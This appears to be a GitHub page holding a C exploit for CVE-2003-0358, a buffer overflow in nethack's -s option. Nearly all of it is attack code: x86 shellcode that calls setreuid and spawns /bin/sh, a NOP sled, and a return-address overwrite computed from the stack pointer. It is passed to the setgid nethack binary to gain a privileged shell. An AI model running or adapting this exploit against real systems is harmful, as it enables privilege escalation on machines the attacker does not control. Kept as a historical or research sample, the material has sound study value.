-
Notifications
You must be signed in to change notification settings - Fork 1
/
Copy pathCVE-2003-0358.c
47 lines (33 loc) · 1.01 KB
/
CVE-2003-0358.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
/*
snowcrash: CVE-2003-0358
*/
/*
tsao@efnet #!IC@efnet 2k3
thnx to aleph1 for execve shellcode &
davidicke for setreuid() shellcode
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
char code[] =
"\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80"
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
unsigned long sp(void) {
__asm__("movl %esp,%eax");
}
int main(int argc, char **argv) {
char *p;
int i, off;
p = malloc(sizeof(char) * atoi(argv[1]));
memset(p,0x90,atoi(argv[1]));
off = 220 - strlen(code);
printf("shellcode at %d->%d\n",off,off+strlen(code));
for(i=0;i<atoi(argv[1]);i++)
p[i+off] = code[i];
*(long *) &p[220] = sp() - atoi(argv[2]);
printf("Using %x\n",sp() - atoi(argv[2]));
execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0);
perror("wtf");
}